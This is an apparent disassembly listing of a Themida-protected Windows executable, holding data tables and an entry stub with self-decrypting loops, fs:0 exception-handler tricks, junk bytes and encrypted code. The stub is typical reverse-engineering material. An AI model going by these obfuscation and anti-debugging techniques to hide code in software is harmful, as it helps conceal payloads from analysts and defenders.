		dd 18FFFB0h, 2 dup(0)
		dd 0A01568h, 3 dup(0)
		dd 6B2559Bh, 3 dup(0)
		dd 77E805D8h, 4	dup(0)
		dd 50DA7DF4h, 1Bh dup(0)
		dd 9F8C0Ah, 9F69DDh, 0Dh dup(0)
		dd 67h,	2 dup(0)
		dd 2165243Fh, 540586h, 2 dup(0)
		dd 103804h, 5 dup(0)
		dd 1, 3	dup(0)
		dd 8A0FB5E2h, 6940h, 4 dup(0)
		dd 0A023E8h, 0Bh dup(0)
		dd 66C8h, 0
		dd offset byte_595B05
		dd 7184h, 5 dup(0)
		dd 77D40000h, 2	dup(0)
		dd 7FFE0304h, 9F69DDh, 3 dup(0)
		dd 0FFBFFE28h, 0Fh dup(0)
		dd 1370137h, 3 dup(0)
		dd 0AD0000h, 4 dup(0)
		dd 982633A9h, 77E80618h, 0
		dd offset dword_4E3354+6CFh
		dd 5 dup(0)
		dd 9F9C37h, 595B05h, 0
		dd 0FFFF9AC0h, 0
		dd 0FFA8A46Ch, 4 dup(0)
		dd offset byte_588495
		dd 0
		dd offset byte_5408CF
		dd 0
		dd offset byte_5AADC9
		align 10h
		dd 7Ch,	2 dup(0)
		dd 97085102h, 7	dup(0)
		dd 2Bh,	4 dup(0)
		dd offset byte_5A95E9
		dd 5 dup(0)
		dd 0FE000050h, 4 dup(0)
		db '""""""""',0
		align 2
		db 'X',0
		dd 0
aTa		db 'Ta╟у',0
		align 4
		dd offset dword_58FF94
		align 10h
		dd 0FFEEFFDDh, 5 dup(0)
aYjaa		db 'yj²─',0
		align 10h
		dd offset word_5637E2
		dd 1BE000h, 596AE5h, 0
		dd 0FFFF9FB8h, 5 dup(0)
aCpcwf		db 'Г╞Гw■',0
		align 10h
		dd 0
		dd 667F6926h, 5	dup(0)
		dd offset dword_59456C
		dd 0
		dd 8A0FB5E2h, 5704AAh, 2 dup(0)
		dd 38h,	2 dup(0)
		dd 4, 6	dup(0)
		dd 2580000h, 57939Eh, 78h, 0FF605FF1h, 2 dup(0)
		dd 5B94h, 2 dup(0)
		dd 0FFA88706h, 2 dup(0)
		dd 2590000h, 5061F86Fh,	12FFE0h, 57F5FFh, 4 dup(0)
aNL		db '█$>L',0
		align 4
		dd 4 dup(0)
		dd offset word_5B3196
		align 10h
aSsm		db 'sИM╪',0
		align 4
		dd 3 dup(0)
		dd 1B27BFB9h, 0A9C530DFh, 12FFC4h, 0
		dd 0FFFF87C1h, 2 dup(0)
		dd 84h,	2 dup(0)
		dd 0FFCh, 3 dup(0)
		dd offset byte_5A4BC9
		dd 4 dup(0)
		dd 7FFE0304h, 5	dup(0)
		dd 1, 58C267h, 0
		dd 69F5h, 6 dup(0)
		dd offset byte_5ABBA9
		dd offset byte_5874B9
		align 10h
		dd 4, 0Bh dup(0)
		dd offset dword_5A00DC
		align 8
		dd 69F5h, 0FFF4C2CFh, 8	dup(0)
aThemida	db 'Themida',0
		dd 1Ch dup(0)
		dd offset dword_5AAD2C
		dd 6 dup(0)
aBk		db 'B┼йю',0
		align 4
		dd 5 dup(0)
		dd 0A1B134h, 3 dup(0)
		dd 1647CB77h, 3	dup(0)
		dd offset word_57A45E
		align 10h
		dd 39h,	7 dup(0)
		dd 8Ch,	2 dup(0)
aLs		db '╚≤- ',0
		align 4
		dd 0B3h	dup(0)
		dd 9F03A0h, 77EB87F2h, 2 dup(0)
		dd 99E9h, 0
		dd 99E9h, 3 dup(0)
		dd offset aYQrs+2
		dd 7 dup(0)
		dd 9F3E3Bh, 0C2E0000h, 3 dup(0)
		dd 0FF606EA5h, 0EA323Ch, 3 dup(0)
		dd 8001FCFCh, 7FFE0304h, 0
		dd 0ECh, 7 dup(0)
		dd offset byte_5737F7
dword_53E070	dd 3E0h, 2 dup(7FFE0304h), 2 dup(0) ; DATA XREF: Themida_:0053F174o
aSsm_0		db 'sИM╪',0
		align 4
		dd 4 dup(0)
		dd 9FA00Fh, 2 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0F5AFFFFAh, 3 dup(0)
		dd 0FFFFAFE7h, 2 dup(0)
		dd 0FFFF9818h, 2 dup(0)
		dd 0FFF8352Ah, 4 dup(0)
aMbp		db '#M│p',0
		align 4
		dd 0
		dd 0F4CF849h, 2	dup(0)
		dd 77E7AC5Eh, 0FF1EC207h, 2DB02A30h, 14h dup(0)
		dd 3F11700Eh, 3	dup(0)
		dd offset sub_401000
		dd 0
		dd 1, 3	dup(0)
		dd 0EC69B1Ah, 4	dup(0)
		dd 0FF5Ch, 2 dup(0)
		dd 4F7h, 0AAE41C3Fh, 0
		dd offset aLS		; "`▀\\$$Х"
		dd 493Fh
dword_53E1C0	dd 2, 5B3196h, 0	; DATA XREF: Themida_:0053C998o
		dd 0FFFFFFFFh, 2 dup(0)
aVlcwV		db '┌▀ГwьйV',0
		dd 8 dup(0)
		dd 40000h, 0
		dd 9EB168h, 575990h, 5 dup(0)
		dd offset dword_576920
		dd 0
		dd offset word_5B3196
		dd 16h dup(0)
		dd offset word_59BA4E
		align 10h
		dd 10947275h, 0
		dd offset byte_5B438D
		dd 0Dh dup(0)
		dd 9F5E2Eh, 0
		dd 0A17FD8h, 2 dup(0)
		dd 35000h, 7 dup(0)
		dd 6BAAh, 77E76A2Eh, 3 dup(0)
		dd 7FFE0304h, 5	dup(0)
		dd 0EBDE04EBh, 5 dup(0)
		dd 0A944h, 84h dup(0)
		dd 0E80h, 4 dup(0)
		dd 32597F5Dh, 3	dup(0)
		dd 1, 6	dup(0)
		dd 7FFE0304h, 6	dup(0)
		dd 144F2BCFh, 8	dup(0)
aQD		db '^О╩╓',0
		align 2
		db 'X',0
aD_2:
		unicode	0, <╓>,0
		dd 0
a?bcw		db '?║Гw',0
		align 4
		dd 2 dup(0)
		dd offset dword_53F634
		dd 23FFFD3Fh, 8	dup(0)
		dd 9F3145h, 6 dup(0)
		dd 0A022D8h, 578BD6h, 1C1D3h, 7FFE0304h, 3 dup(0)
		dd offset dword_591150
		dd 4 dup(0)
		dd 0A19BACh, 0Ch dup(0)
a5c2		db 'ъ5√2',0
		align 10h
		dd 68F7AEFEh, 0
a0I_0		db 'ъ0е╘',0
		align 10h
		dd 3 dup(0)
		dd 9F69DDh, 6 dup(0)
		dd 0A07BF3h, 0Ah dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd 4D3F46FCh, 9F50EBh, 0
		dd 9F70C4h, 4 dup(0)
		dd 49E94410h, 3	dup(0)
		dd 9ED554h, 6 dup(0)
		dd 6564A7Ah, 4 dup(0)
a7gC		db '7gй√',0
		align 4
		dd offset byte_599649
		dd 80000219h, 0
		dd 69F5h, 67h, 0
		dd 90EB8FFEh, 0
		dd 78F68D8Dh, 12FFA4h, 7C6C8D8Dh, 9FA00Fh, 77F50000h, 4	dup(0)
		dd 5B4410A2h, 3	dup(0)
		dd 0FFFF5B5Dh, 77E82168h, 4 dup(0)
		dd 0ACh, 3 dup(0)
		dd offset word_590782
		align 10h
		dd offset byte_57C2E3
		align 10h
		dd 7C7C01F5h, 199h, 4 dup(0)
		dd 8001FCFCh, 10h dup(0)
		dd offset byte_584375
		dd 0
		dd 23FB66A0h, 3	dup(0)
		dd 7D1h, 3 dup(0)
		dd 5B05h, 3 dup(0)
		dd offset byte_5A81BD
		dd 0Ch dup(0)
		dd 0A17FD8h, 0FFFF9A08h, 3 dup(0)
		dd 6, 0
		dd 0FFFFFFFCh, 3 dup(0)
		dd 0A03268h, 0
		dd 0A28h, 3 dup(0)
		dd 0ACh, 4 dup(0)
		dd 1, 3	dup(0)
		dd 69F5h, 3 dup(0)
		dd 7FFE0304h, 199h, 7E2386DFh, 16h dup(0)
aJi		db 'Ji╣╧',0
		align 10h
		dd 0FEC647FEh, 7585F78Bh, 0
		dd offset dword_4DE000
		dd 2 dup(0)
		dd 77DD23D7h, 1, 5 dup(0)
aAd		db '─D/#',0
		align 4
		dd 2 dup(0)
		dd 0FFA80C27h, 9 dup(0)
aVcw		db 'мvГw',0
		align 4
		dd offset dword_580000
		dd 0A03268h, 0
		dd offset byte_584375
		dd offset byte_57C265
		dd 0
		dd 21212121h, 590C3Bh, 0Fh dup(0)
		dd 0A01560h, 3 dup(0)
		dd 0E0014h, 0A022D8h, 6	dup(0)
		dd 7FFE0304h, 0
		dd 400000h, 4 dup(0)
a041		db '04-1',0
		align 10h
aHSwVcw		db 'h>ХwмvГw',0
		align 4
aDbcw		db 'D║Гw',0
		align 8
a0I_1		db 'ъ0е╘',0
		align 10h
		dd 0
		dd offset word_574BFE
		align 10h
		dd 2 dup(7FFE0304h), 2 dup(0)
		dd offset dword_575B94
		dd 2 dup(0)
		dd offset dword_580000
		dd 2 dup(0)
		dd offset byte_595B05
		dd 4 dup(0)
aCM_unpacker	db 'C:\m_unpacker',0
		align 4
		dd 7Eh dup(0)
		dd offset dword_575B94
		dd 5 dup(0)
		dd 77E8360Ch, 0
		dd 0AE4BF6E3h, 0
		dd 38E5014Dh, 77E7AFE7h, 6 dup(0)
		dd 70564EF2h, 0
		dd 2, 3	dup(0)
		dd 746Ch, 1FCFC331h, 6 dup(0)
		dd 0FF50290Fh, 88h, 5B4410A2h, 2 dup(0)
		dd offset word_5781D6
		dd 5 dup(0)
		dd offset word_5836EE
		dd 2 dup(0)
		dd 0FE000050h, 69h dup(0)
		dd 17A47DB0h, 3	dup(0)
		dd 2890782h, 2 dup(0)
		dd 0FF4F7916h, 4 dup(0)
		dd offset word_590E26
		dd offset dword_5AEB50
		dd 3 dup(0)
		dd offset dword_580000
		dd 6 dup(0)
		dd 13DE0263h, 1, 27870940h, 0
		dd 0FFAC1F90h, 6 dup(0)
		dd offset word_5B3196
		align 8
		dd 581Ch, 25A0000h, 5 dup(0)
		dd 69F5h, 0Bh dup(0)
		dd 0A03154h, 2 dup(0)
		dd 1F453038h, 8	dup(0)
		dd 400E9h, 0
aN_0		db '█╦Ё/',0
		align 4
		dd 4 dup(0)
		dd 12FFF0h, 7FFE0304h, 6 dup(0)
		dd 1014h, 0
		dd 0C285C2B7h, 77E6D706h, 5A454Bh, 7 dup(0)
		dd 7FFE0304h, 7	dup(0)
		dd offset dword_53E070
		dd 1434h, 0
		dd 0E057CBF0h, 7 dup(0)
		dd 1014h, 77DD0000h, 0
a@V		db '@',1Bh,'╢v',0
		align 4
		dd 2 dup(0)
		dd 9F69DDh, 4 dup(0)
		dd 9F69DDh, 3 dup(0)
		dd 7C6C8D8Dh, 1, 0
		dd offset dword_5AF940
		dd 0
		dd 7FFE0304h, 10h dup(0)
		dd 512006CBh, 6	dup(0)
		dd 12FF54h, 5944D6h, 540122h, 8	dup(0)
		dd 8EFBAE44h, 0
		dd 0B402389Eh, 12FF54h,	0
		dd 15E30000h, 0
		dd 0A39995h, 1DFC32D7h,	8 dup(0)
		dd offset word_575BA6
		dd 60EBh, 5 dup(0)
		dd 9F9499h, 40000h, 0Ch	dup(0)
		dd 11111111h, 4DFCh, 0E7E5h, 5ABBA9h, 77E82FE8h, 6 dup(0)
		dd 7FFE0304h, 9F915Bh, 4 dup(0)
		dd 0FFFFBAC9h, 0Ah dup(0)
		dd 0FFED005Ch, 0C4h, 3 dup(0)
		dd 77E75CB5h, 9FA00Fh, 9F9234h,	4 dup(0)
dword_53F3B8	dd 0A01568h, 4Ah, 30DFh, 9 dup(0) ; DATA XREF: Themida_:0053CE6Co
		dd 881853A2h, 0Ah dup(0)
		dd 14470FBh, 2 dup(0)
aUfB		db 'НД╪B',0
		align 4
		dd 6 dup(0)
		dd 0FF4C2882h, 77E7A144h, 535536EBh, 0
		dd 7719CFAh, 540122h, 5B3AD6h, 6 dup(0)
		dd 0E7E5h, 2 dup(0)
aRestartapp_exe	db 'RestartApp.exe',0
		align 10h
		dd 0Dh dup(0)
		dd offset byte_5A47EB
		dd 0A38D53h, 60CD3CBDh,	575B94h, 0
		dd 69F5h, 0
aSacw		db '≥═Гw',0
		align 10h
		unicode	0, <°>,0
		dd 0FA4CC7BFh, 0DD000h,	4 dup(0)
		dd 25B0000h, 0
		dd 0FFFED0E0h, 3 dup(0)
		dd offset byte_5834BB
		align 10h
		dd offset dword_575B94
		align 10h
		dd 0FFFF87C1h, 2Ch dup(0)
		dd offset dword_53F634
		dd 0
a333333333333	db '333333333333',0
		align 4
		dd 0DC8CEC13h, 710451BDh, 2 dup(0)
		dd 0E6Ch, 5 dup(0)
dword_53F634	dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh,	0E853h,	815B0000h
					; DATA XREF: Themida_:0053E5FCo
					; Themida_:0053F5F4o
		dd 17C3h, 245C8900h, 24448910h,	37B85B14h, 0FF009FA0h
		dd 24448BE0h, 0E0FF04h,	14h dup(0)
		dd offset word_59716A
		dd 4 dup(0)
		dd 8001FCFCh, 0
		dd offset aLRS		; "▀эr:И"
		dd 6 dup(0)
		dd 0A01564h, 8 dup(0)
		dd 1943h, 19h, 3 dup(0)
		dd 21FFFB0h, 0Ah dup(0)
		dd 77F52E0Fh, 0FFFFB402h, 12h dup(0)
		dd 7FFE0004h, 86555974h, 0
aBaln		db '│═▀n',0
		align 4
		dd offset aLRS		; "▀эr:И"
		dd 12FFA4h, 0Fh	dup(0)
		dd offset byte_5AADC9
		dd 5 dup(0)
		dd 7FFE0304h, 5A29F2h, 0
		dd 0DEF14289h, 2 dup(0)
aR_0		db '╩©r~',0
		align 4
		dd 29h dup(0)
		dd 0F7134D7Ch, 4 dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 10h
		dd 39h dup(0)
		dd 7FFE0304h, 4	dup(0)
		dd 667F6926h, 77E793EFh, 0Dh dup(0)
		dd 784BF1C4h, 3	dup(0)
		dd 5B94h, 0Bh dup(0)
		dd 69F5h, 3 dup(0)
		dd 2, 0
		dd 70200E0Bh, 0Eh dup(0)
		dd 35Bh, 3 dup(0)
		dd 0FFFFBACBh, 0
		dd 30DFh, 8 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FB14:				; CODE XREF: start:loc_53C7BFj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 607335Fh
		mov	[ebp+607133Dh],	edx
		mov	[ebp+60706C1h],	esi
		mov	[ebp+6072945h],	eax
		cmp	dword ptr [ebp+60710E9h], 0
		jz	short loc_53FB4C
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53FB4C:				; CODE XREF: start+5FB2Aj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6072F95h],	eax
		push	45h
		call	sub_53FC00
		push	783749Ah
		call	sub_53FC46
		push	0A894B25h
		call	sub_53FC46
		jmp	loc_53FD8A
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53FC00	proc near		; CODE XREF: start+5FB44p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 607344Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53FC1C:				; CODE XREF: sub_53FC00+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53FC3B
		mov	eax, [ebp+arg_0]
		mov	[ebx+60733B7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53FC1C
; ---------------------------------------------------------------------------


loc_53FC3B:				; CODE XREF: sub_53FC00+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53FC00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53FC46	proc near		; CODE XREF: start+5FB4Ep start+5FB58p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6073496h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53FC6C:				; CODE XREF: sub_53FC46+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53FC6C
		mov	[ebp+var_84], 0
		lea	edi, [edx+60733B7h]
		lea	esi, [ebp+var_80]


loc_53FC9C:				; CODE XREF: sub_53FC46+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53FCA8:				; CODE XREF: sub_53FC46+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53FCA8
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53FC9C
		popa
		leave
		retn	4
sub_53FC46	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53FCE6
; ---------------------------------------------------------------------------


loc_53FCE2:				; CODE XREF: Themida_:0053FCE9j
		inc	dword ptr [ebp-4]
		inc	esi


loc_53FCE6:				; CODE XREF: Themida_:0053FCE0j
		cmp	byte ptr [esi],	0
		jnz	short loc_53FCE2
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53FD77
; ---------------------------------------------------------------------------


loc_53FCF8:				; CODE XREF: Themida_:0053FD7Aj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53FD6E
; ---------------------------------------------------------------------------


loc_53FD01:				; CODE XREF: Themida_:0053FD72j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53FD5B
; ---------------------------------------------------------------------------


loc_53FD11:				; CODE XREF: Themida_:0053FD5Fj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53FD33
		cmp	bl, 39h
		ja	short loc_53FD33
		sub	bl, 30h
		jmp	short loc_53FD55
; ---------------------------------------------------------------------------


loc_53FD33:				; CODE XREF: Themida_:0053FD27j
					; Themida_:0053FD2Cj
		cmp	bl, 61h
		jb	short loc_53FD45
		cmp	bl, 66h
		ja	short loc_53FD45
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53FD55
; ---------------------------------------------------------------------------


loc_53FD45:				; CODE XREF: Themida_:0053FD36j
					; Themida_:0053FD3Bj
		cmp	bl, 41h
		jb	short loc_53FD55
		cmp	bl, 46h
		ja	short loc_53FD55
		sub	bl, 41h
		add	bl, 0Ah


loc_53FD55:				; CODE XREF: Themida_:0053FD31j
					; Themida_:0053FD43j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53FD5B:				; CODE XREF: Themida_:0053FD0Fj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53FD11
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53FD6B
		mov	eax, [ebp-10h]
		stosb


loc_53FD6B:				; CODE XREF: Themida_:0053FD65j
		inc	dword ptr [ebp-8]


loc_53FD6E:				; CODE XREF: Themida_:0053FCFFj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53FD01
		add	edx, 4


loc_53FD77:				; CODE XREF: Themida_:0053FCF6j
		cmp	edx, [ebp-4]
		jb	loc_53FCF8
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FD8A:				; CODE XREF: start+5FB5Dj
		mov	ecx, 7000h
		lea	edi, [ebp+60735DCh]


loc_53FD95:				; CODE XREF: start+5FD85j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53FD95
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+60736E0h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	ebx, ecx
		jl	loc_53FDCF
		cmc


loc_53FDCF:				; CODE XREF: start+5FDB4j
		ja	loc_53FDE3
		jmp	loc_53FDE3
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 8750h
		dd 40F87EBEh
		db 0B2h, 0BDh, 0B5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FDE3:				; CODE XREF: start:loc_53FDCFj
					; start+5FDC1j
		sub	eax, edx
		push	0
		push	ebx
		call	sub_53FDF0
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53FDF0	proc near		; CODE XREF: start+5FDD4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_53FDF0	endp

; ---------------------------------------------------------------------------
		dd 0B5EF713h, 8B6CD62Ch, 0F00025DFh, 0BB66FFFFh, 0CA8B3FB7h
		dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah
		dd 2D087400h, 1000h, 64E3EB47h,	58Fh, 0C4830000h, 0F3958D04h
		dd 52060736h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh
		dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
		dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
		dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
		dd 58Fh, 0C4830000h, 51C36104h,	10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 60736FEh
		dd 36BC858Dh, 81890607h, 0B8h, 0C033595Dh, 8F6496C3h, 5
		dd 4C48300h, 33B96660h,	0EF806136h, 0D98C66D3h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2FC35545h, 0E9D88B66h
		dd 9, 8AF41A34h, 0DD3D7CF9h, 4E18052h, 0FC90AF9h, 2F85h
		dd 0DE900h, 45990000h, 0FDF12EFBh, 189387ABh, 0C72259E6h
		dd 719BD85h, 106h, 2890F00h, 0B3000000h, 29E9B5h, 0E3810000h
		dd 5C18E11Eh, 19BD85C7h, 607h, 8E80000h, 17000000h, 0A585F0A4h
		dd 0F028BB5h, 581h, 0C434BB00h,	895B7EBDh, 7059D85h, 0DEBF0F06h
		dd 0D998589h, 0AE80607h, 41000000h, 6DBC213Eh, 0F4E52270h
		dd 6CBE668Fh, 81F85FC1h, 6926C7h, 12E900h, 0E12B0000h
		dd 0BBCB65DAh, 0D63B535Fh, 868F6331h, 0E1AB8733h, 68h
		dd 0BDCA8100h, 5B792BCAh, 0C8BC38Bh, 0C38B661Fh, 6A94F181h
		dd 81F96548h, 0F27F0AF1h, 0F38B663Dh, 5D4AF181h, 0F4BA2338h
		dd 8926AD0Ah, 0E58A1F0Ch, 83C28B66h, 0E95204EBh, 12h, 8CC93F05h
		dd 1BAD262Bh, 60C9ABEFh, 1F3D7688h, 815A6D8Dh, 0FF9788FBh
		dd 10850FFFh, 66000000h, 0C60EE681h, 1CE9h, 6213BF00h
		dd 66B9A71Dh, 0E9E600BAh, 0FFFFFF96h, 9EEFDF2h,	10C0843Bh
		dd 0C40807D8h, 6E8D6h, 0CEDD0000h, 91F8E51Eh, 38DB8166h
		dd 0C7815F1Bh, 5948h, 88E0Fh, 8D0F0000h, 2, 2B686160h
		dd 81000016h, 0A126B3C6h, 0DB81591Ch, 67B777FFh, 5E837FFh
		dd 95000000h, 508F5D0Bh, 6BE38166h, 0F585EA3h, 0C081D9B7h
		dd 1FC7E998h, 0C081D78Bh, 770BD6D7h, 0CD2E18BAh, 99C08137h
		dd 816653C7h, 0A7E2C6D2h, 0FE85012h, 0C000000h,	6911EB70h
		dd 0DC9B26F1h, 46AF8FE2h, 5B66C34h, 56078F5Bh, 0DD68166h
		dd 0EF815B59h, 27684AF5h, 0F1C781F9h, 8B27684Ah, 850F49F0h
		dd 0FFFFFF94h, 0FAE956B3h, 0FC000006h, 1079B509h, 2170607h
		dd 113D0000h, 0F600607h, 682h, 820F00h,	0F000000h, 61DEBFh
		dd 14E900h, 79AB0000h, 307C16C2h, 0AE0522D0h, 0AA4D12CAh
		dd 3A40300Ch, 606027FCh, 0DEA7B866h, 15ADBF66h,	0B861h
		dd 7E90000h, 66000000h,	0ED33D49Dh, 548BE15Eh, 89FC2824h
		dd 7331985h, 71B58906h,	0F806071Bh, 3CBEh, 81666000h, 8B27C6D7h
		dd 7025585h, 74036106h,	12E92424h, 8000000h, 11E5416Ah
		dd 3D263B83h, 0A4411B4Fh, 0B556D4EAh, 6840F7Eh,	89000000h
		dd 719E1BDh, 0F8AD6606h, 24244403h, 13E9h, 7AED3700h, 0B96C9C7Eh
		dd 2F11D9E5h, 87A8323Bh, 0B91FB86h, 0AE950h, 0E9210000h
		dd 0C4231FF3h, 625EFC83h, 9240489h, 70D5D85h, 78408B06h
		dd 12759589h, 44030607h, 8E0F2824h, 6, 72D9D09h, 408B0607h
		dd 8B666018h, 118D89C8h, 61060718h, 8F0F6040h, 5, 0D1E43ABBh
		dd 7EB9663Fh, 8589617Fh, 607392Fh, 2FF18D31h, 29580607h
		dd 712E19Dh, 78708B06h,	1CC683F9h, 10E9h, 2F2D700h, 5FEAB1ECh
		dd 3D88C08h, 4F245543h,	24740398h, 81666024h, 31BDA0E7h
		dd 707CDBDh, 0BD8D6106h, 6072BF9h, 303D9D89h, 29AD0607h
		dd 71DF995h, 24440306h,	7E96024h, 91000000h, 0E860E99Ch
		dd 890F1E5Dh, 3, 61F08B66h, 6830Fh, 0B5090000h,	6071871h
		dd 0BE9ABh, 739E0000h, 0B22F5274h, 98926EA2h, 31BD8D01h
		dd 0FC060710h, 0F58509ADh, 3060718h, 60242444h,	0FE9h
		dd 6285D00h, 1806B040h,	91D89AE3h, 43298BCAh, 11E950h
		dd 1B700000h, 2AA8BF40h, 0F37F800Ah, 74061455h,	59740D47h
		dd 830F9061h, 9, 0CC98BB60h, 1DB32AB9h,	52505061h, 6880Fh
		dd 8C0F0000h, 0
		dd 14E9310Fh, 1E000000h, 22EFAD4h, 58CBA4D0h, 1FA5A7C9h
		dd 0F8BD87A5h, 5AD4A839h, 9D899058h, 6071165h, 0BD8DFCABh
		dd 6072289h, 9E9h, 0D4E54200h, 8C7DA2DBh, 0F9AD04BFh, 28244403h
		dd 0DE9h, 37314200h, 0F710E506h, 23410055h, 0FCAB97C6h
		dd 0FFF85EF8h, 7392F8Dh, 2FBD8306h, 60739h, 44C71075h
		dd 1C24h, 0B58D0000h, 6073DAEh,	0AD56E6FFh, 28244403h
		dd 8ADF8B97h, 709CD85h,	74C08406h, 75073A04h, 0C032574Ch
		dd 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h,	0C132ACDBh
		dd 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h
		dd 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h,	0D1F7D2F7h
		dd 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 1985FF04h
		dd 0E9060733h, 0FFFFFF6Fh, 0AE95Eh, 0DBD60000h,	57ADA74h
		dd 8CDD9FB6h, 0CDB58960h, 66060725h, 618DBEB8h,	3319858Bh
		dd 8C0F0607h, 6, 3B1BD89h, 0E0D10607h, 0A0BB6660h, 3F961A4h
		dd 7228985h, 85896006h,	6070591h, 0BE61h, 0B5890000h, 6070B85h
		dd 0B8666096h, 8E8EA97h, 24000000h, 7A88948Dh, 9D466CBh
		dd 7292D8Dh, 66615F06h,	3DBD89ADh, 0C1060712h, 850902E0h
		dd 607135Dh, 2BF98503h,	0B5290607h, 60711EDh, 60ADF596h
		dd 8D23DDB7h, 60718B5h,	0B58B6061h, 6072305h, 139DBD31h
		dd 8B610607h, 0F924244Ch, 24244403h, 10199589h,	44890607h
		dd 96F81C24h, 858D8960h, 0E9060705h, 14h, 0FACCD11Bh, 0FA464DF6h
		dd 94660BC8h, 596C3CABh, 8F9DA378h, 880FAC61h, 6, 29A5BD01h
		dd 0C9320607h, 1890Fh, 0FEF50000h, 799531C1h, 0D006072Ah
		dd 0A2830FD0h, 60000000h, 18252BAh, 0D061F944h,	92830FD0h
		dd 89000000h, 70F0585h,	0C810F06h, 0E9000000h, 7, 3F090A4Dh
		dd 0D019DAADh, 72820FD0h, 89000000h, 72C99B5h, 0FD0D006h
